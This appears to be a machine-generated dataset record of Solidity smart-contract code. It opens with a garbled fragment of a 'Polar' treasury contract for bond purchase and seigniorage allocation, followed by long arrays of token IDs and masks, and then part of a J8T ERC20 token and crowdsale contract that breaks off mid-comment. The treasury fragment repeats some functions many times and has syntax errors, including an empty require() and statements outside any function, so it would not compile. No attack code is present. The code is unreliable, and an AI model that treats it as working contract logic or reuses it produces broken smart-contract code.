= _maxPremiumRate; } function setDiscountPercent(uint256 _discountPercent) external onlyOperator { require(_discountPercent <= 20000, "_discountPercent is over 200%"); discountPercent = _discountPercent; } function setPremiumThreshold(uint256 _premiumThreshold) external onlyOperator { require(_premiumThreshold >= polarPriceCeiling, "_premiumThreshold exceeds polarPriceCeiling"); require(_premiumThreshold <= 150, "_premiumThreshold is higher than 1.5"); premiumThreshold = _premiumThreshold; } function setPremiumPercent(uint256 _premiumPercent) external onlyOperator { require(_premiumPercent <= 20000, "_premiumPercent is over 200%"); premiumPercent = _premiumPercent; } function setMintingFactorForPayingDebt(uint256 _mintingFactorForPayingDebt) external onlyOperator { mintingFactorForPayingDebt = _mintingFactorForPayingDebt; } function _updatepolarPrice() internal { } try IOracle(polarOracle).update() {} catch {} function getpolarCirculatingSupply() public view returns (uint256) { IERC20 polarErc20 = IERC20(polar); uint256 totalSupply = polarErc20.totalSupply(); uint256 balanceExcluded = 0; for (uint8 entryId = 0; entryId < excludedFromTotalSupply.length; ++entryId) { balanceExcluded = balanceExcluded.add(polarErc20.balanceOf(excludedFromTotalSupply[entryId])); } return totalSupply.sub(balanceExcluded); } function getpolarCirculatingSupply() public view returns (uint256) { IERC20 polarErc20 = IERC20(polar); uint256 totalSupply = polarErc20.totalSupply(); uint256 balanceExcluded = 0; for (uint8 entryId = 0; entryId < excludedFromTotalSupply.length; ++entryId) { balanceExcluded = balanceExcluded.add(polarErc20.balanceOf(excludedFromTotalSupply[entryId])); } return totalSupply.sub(balanceExcluded); } function buyBonds(uint256 _polarAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_polarAmount > 0, "Treasury: cannot purchase bonds with zero amount"); uint256 polarPrice = getpolarPrice(); require(polarPrice == targetPrice, "Treasury: POLAR price moved"); require( "Treasury: polarPrice not eligible for bond purchase" ); require(_polarAmount <= epochSupplyContractionLeft, "Treasury: not enough bond left to purchase"); uint256 _rate = gepbondDiscountRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _bondAmount = _polarAmount.mul(_rate).div(1e18); uint256 polarSupply = getpolarCirculatingSupply(); uint256 newBondSupply = IERC20(pbond).totalSupply().add(_bondAmount); require(newBondSupply <= polarSupply.mul(maxDebtRatioPercent).div(10000), "over max debt ratio"); IBasisAsset(polar).burnFrom(msg.sender, _polarAmount); IBasisAsset(pbond).mint(msg.sender, _bondAmount); epochSupplyContractionLeft = epochSupplyContractionLeft.sub(_polarAmount); _updatepolarPrice(); emit Boughpbonds(msg.sender, _polarAmount, _bondAmount); } function redeemBonds(uint256 _bondAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_bondAmount > 0, "Treasury: cannot redeem bonds with zero amount"); uint256 polarPrice = getpolarPrice(); require(polarPrice == targetPrice, "Treasury: POLAR price moved"); require( "Treasury: polarPrice not eligible for bond purchase" ); uint256 _rate = gepbondPremiumRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _polarAmount = _bondAmount.mul(_rate).div(1e18); require(IERC20(polar).balanceOf(address(this)) >= _polarAmount, "Treasury: treasury has no more budget"); seigniorageSaved = seigniorageSaved.sub(Math.min(seigniorageSaved, _polarAmount)); IBasisAsset(pbond).burnFrom(msg.sender, _bondAmount); IERC20(polar).safeTransfer(msg.sender, _polarAmount); _updatepolarPrice(); emit RedeemedBonds(msg.sender, _polarAmount, _bondAmount); } function _sendToMasonry(uint256 _amount) internal { IBasisAsset(polar).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(polar).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(polar).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount); IERC20(polar).safeApprove(masonry, 0); IERC20(polar).safeApprove(masonry, _amount); IMasonry(masonry).allocateSeigniorage(_amount); emit MasonryFunded(now, _amount); } function _sendToMasonry(uint256 _amount) internal { IBasisAsset(polar).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(polar).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(polar).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount); IERC20(polar).safeApprove(masonry, 0); IERC20(polar).safeApprove(masonry, _amount); IMasonry(masonry).allocateSeigniorage(_amount); emit MasonryFunded(now, _amount); } function _sendToMasonry(uint256 _amount) internal { IBasisAsset(polar).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(polar).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(polar).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount); IERC20(polar).safeApprove(masonry, 0); IERC20(polar).safeApprove(masonry, _amount); IMasonry(masonry).allocateSeigniorage(_amount); emit MasonryFunded(now, _amount); } function _calculateMaxSupplyExpansionPercent(uint256 _polarSupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_polarSupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function _calculateMaxSupplyExpansionPercent(uint256 _polarSupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_polarSupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function _calculateMaxSupplyExpansionPercent(uint256 _polarSupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_polarSupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } } else { function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } } else { function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updatepolarPrice(); previousEpochpolarPrice = getpolarPrice(); uint256 polarSupply = getpolarCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { _sendToMasonry(polarSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); if (previousEpochpolarPrice > polarPriceCeiling) { uint256 bondSupply = IERC20(pbond).totalSupply(); uint256 _percentage = previousEpochpolarPrice.sub(polarPriceOne); uint256 _savedForBond; uint256 _savedForMasonry; uint256 _mse = _calculateMaxSupplyExpansionPercent(polarSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { _savedForMasonry = polarSupply.mul(_percentage).div(1e18); uint256 _seigniorage = polarSupply.mul(_percentage).div(1e18); _savedForMasonry = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForMasonry); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForMasonry > 0) { _sendToMasonry(_savedForMasonry); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(polar).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function governanceRecoverUnsupported( IERC20 _token, uint256 _amount, address _to ) external onlyOperator { require(address(_token) != address(polar), "polar"); require(address(_token) != address(pbond), "bond"); require(address(_token) != address(spolar), "share"); _token.safeTransfer(_to, _amount); } function masonrySetOperator(address _operator) external onlyOperator { IMasonry(masonry).setOperator(_operator); } function masonrySetLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator { IMasonry(masonry).setLockUp(_withdrawLockupEpochs, _rewardLockupEpochs); } function masonryAllocateSeigniorage(uint256 amount) external onlyOperator { IMasonry(masonry).allocateSeigniorage(amount); } function masonryGovernanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external onlyOperator { IMasonry(masonry).governanceRecoverUnsupported(_token, _amount, _to); } }
16,924,189
[ 1, 19, 314, 1643, 82, 1359, 2943, 7632, 29523, 628, 2078, 14467, 2922, 4085, 6205, 9131, 1122, 25480, 261, 21, 4860, 13, 598, 1059, 18, 25, 9, 17965, 15255, 434, 19383, 985, 6205, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 399, 266, 345, 22498, 353, 13456, 16709, 288, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 203, 565, 2254, 5034, 1071, 5381, 10950, 21054, 273, 1666, 7507, 31, 203, 203, 203, 565, 1758, 1071, 3726, 31, 203, 203, 565, 1426, 1071, 6454, 273, 629, 31, 203, 203, 565, 2254, 5034, 1071, 8657, 31, 203, 565, 2254, 5034, 1071, 7632, 273, 374, 31, 203, 565, 2254, 5034, 1071, 7632, 3088, 1283, 442, 25693, 3910, 273, 374, 31, 203, 203, 565, 1758, 8526, 1071, 8845, 1265, 5269, 3088, 1283, 273, 306, 203, 565, 308, 31, 203, 203, 565, 1758, 1071, 24244, 31, 203, 565, 1758, 1071, 6386, 1434, 31, 203, 565, 1758, 1071, 1694, 355, 297, 31, 203, 203, 565, 1758, 1071, 312, 2753, 1176, 31, 203, 565, 1758, 1071, 24244, 23601, 31, 203, 203, 565, 2254, 5034, 1071, 24244, 5147, 3335, 31, 203, 565, 2254, 5034, 1071, 24244, 5147, 39, 73, 4973, 31, 203, 203, 565, 2254, 5034, 1071, 695, 724, 77, 1531, 16776, 31, 203, 203, 565, 2254, 5034, 8526, 1071, 14467, 56, 20778, 31, 203, 565, 2254, 5034, 8526, 1071, 943, 2966, 12162, 56, 20778, 31, 203, 203, 565, 2254, 5034, 1071, 943, 3088, 1283, 2966, 12162, 8410, 31, 203, 565, 2254, 5034, 1071, 8427, 758, 1469, 285, 42, 5807, 8410, 31, 203, 565, 2254, 5034, 1071, 695, 724, 77, 1531, 2966, 12162, 42, 5807, 8410, 31, 203, 565, 2 ]
//Address: 0xa76ea481aebdd5703e476cfcb2315d4e014232c1 //Contract name: Crowdsale //Balance: 0 Ether //Verification Date: 2/27/2018 //Transacion Count: 4345 // CODE STARTS HERE pragma solidity ^0.4.17; contract J8TTokenConfig { // The J8T decimals uint8 public constant TOKEN_DECIMALS = 8; // The J8T decimal factor to obtain luckys uint256 public constant J8T_DECIMALS_FACTOR = 10**uint256(TOKEN_DECIMALS); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } ////////////////////////////////////////////////////////////////////// // @title J8T Token // // @dev ERC20 J8T Token // // // // J8T Tokens are divisible by 1e8 (100,000,000) base // // // // J8T are displayed using 8 decimal places of precision. // // // // 1 J8T is equivalent to 100000000 luckys: // // 100000000 == 1 * 10**8 == 1e8 == One Hundred Million luckys // // // // 1,5 Billion J8T (total supply) is equivalent to: // // 150000000000000000 == 1500000000 * 10**8 == 1,5e17 luckys // // // ////////////////////////////////////////////////////////////////////// contract J8TToken is J8TTokenConfig, BurnableToken, Ownable { string public constant name = "J8T Token"; string public constant symbol = "J8T"; uint256 public constant decimals = TOKEN_DECIMALS; uint256 public constant INITIAL_SUPPLY = 1500000000 * (10 ** uint256(decimals)); event Transfer(address indexed _from, address indexed _to, uint256 _value); function J8TToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; //https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 //EIP 20: A token contract which creates new tokens SHOULD trigger a //Transfer event with the _from address set to 0x0 //when tokens are created. Transfer(0x0, msg.sender, INITIAL_SUPPLY); } } contract ACLManaged is Ownable { /////////////////////////// // ACLManaged PROPERTIES // /////////////////////////// // The operational acl address address public opsAddress; // The admin acl address address public adminAddress; //////////////////////////////////////// // ACLManaged FUNCTIONS and MODIFIERS // //////////////////////////////////////// function ACLManaged() public Ownable() {} // Updates the opsAddress propety with the new _opsAddress value function setOpsAddress(address _opsAddress) external onlyOwner returns (bool) { require(_opsAddress != address(0)); require(_opsAddress != address(this)); opsAddress = _opsAddress; return true; } // Updates the adminAddress propety with the new _adminAddress value function setAdminAddress(address _adminAddress) external onlyOwner returns (bool) { require(_adminAddress != address(0)); require(_adminAddress != address(this)); adminAddress = _adminAddress; return true; } //Checks if an address is owner function isOwner(address _address) public view returns (bool) { bool result = (_address == owner); return result; } //Checks if an address is operator function isOps(address _address) public view returns (bool) { bool result = (_address == opsAddress); return result; } //Checks if an address is ops or admin function isOpsOrAdmin(address _address) public view returns (bool) { bool result = (_address == opsAddress || _address == adminAddress); return result; } //Checks if an address is ops,owner or admin function isOwnerOrOpsOrAdmin(address _address) public view returns (bool) { bool result = (_address == opsAddress || _address == adminAddress || _address == owner); return result; } //Checks whether the msg.sender address is equal to the adminAddress property or not modifier onlyAdmin() { //Needs to be set. Default constructor will set 0x0; address _address = msg.sender; require(_address != address(0)); require(_address == adminAddress); _; } // Checks whether the msg.sender address is equal to the opsAddress property 